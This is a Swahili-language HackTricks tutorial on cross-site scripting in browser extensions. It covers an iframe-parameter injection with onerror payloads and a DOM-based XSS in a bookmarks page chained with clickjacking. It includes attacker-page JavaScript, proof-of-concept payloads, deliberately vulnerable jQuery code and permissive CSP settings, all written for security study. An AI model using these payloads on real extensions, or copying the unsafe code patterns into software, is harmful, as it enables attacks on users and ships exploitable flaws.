BrowExt - XSS Example

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kudukua Kupitia Cross-Site Scripting (XSS) kwa Kutumia Iframe

Katika hali hii, script ya maudhui imeanzishwa ili kuanzisha Iframe, ikijumuisha URL na vigezo vya utafutaji kama chanzo cha Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Ukurasa wa HTML unaopatikana kwa umma, message.html, umebuniwa ili kuongeza maudhui kwa mwili wa hati kulingana na vigezo katika URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Kipande cha hatari kinatekelezwa kwenye ukurasa wa adui, kikibadilisha parameter ya content ya chanzo cha Iframe ili kuingiza XSS payload. Hii inafanikiwa kwa kusasisha chanzo cha Iframe ili kiweke skripti yenye madhara:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Sera ya Usalama wa Yaliyomo yenye ruhusa kubwa sana kama:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

inawezesha utekelezaji wa JavaScript, ikifanya mfumo kuwa hatarini kwa mashambulizi ya XSS.

Njia mbadala ya kusababisha XSS ni kwa kujenga kipengele cha Iframe na kuweka chanzo chake kujumuisha hatari ya script kama maudhui parameter:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Mfano huu ulichukuliwa kutoka kwenye chapisho asili la kuandika.

Shida kuu inatokea kutokana na udhaifu wa DOM-based Cross-site Scripting (XSS) uliopo katika /html/bookmarks.html. JavaScript tatizo, sehemu ya bookmarks.js, imeelezewa hapa chini:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Hii sehemu inapata thamani kutoka kwa uga wa kuingiza txtName na kutumia unyumbishaji wa herufi kuunda HTML, ambayo kisha inaongezwa kwenye DOM kwa kutumia kazi ya .append() ya jQuery.

Kawaida, Sera ya Usalama ya Yaliyomo (CSP) ya kifaa cha Chrome ingezuia udhaifu kama huu. Walakini, kutokana na kuruhusu CSP na 'unsafe-eval' na matumizi ya njia za usanidi wa DOM za jQuery (ambazo hutumia globalEval() kupeleka hati kwa eval() wakati wa kuingiza DOM), unyanyasaji bado unawezekana.

Ingawa udhaifu huu ni muhimu, unyanyasaji wake kawaida unategemea ushirikiano wa mtumiaji: kutembelea ukurasa, kuingiza mzigo wa XSS, na kuamsha kifungo cha "Ongeza".

Ili kuimarisha udhaifu huu, udhaifu wa clickjacking wa sekondari unatumika. Sera ya kifaa cha Chrome inaonyesha sera kubwa ya web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Hasa, ukurasa wa /html/bookmarks.html una hatari ya kufungwa, hivyo ni rahisi kwa clickjacking. Udhaifu huu unatumika kuweka ukurasa ndani ya tovuti ya mshambuliaji, ukiufunika na vipengele vya DOM ili kubadilisha muundo wa interface kwa njia ya udanganyifu. Udanganyifu huu unawafanya waathirika kuingiliana na kipengele cha nyuma cha upanuzi bila kukusudia.

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated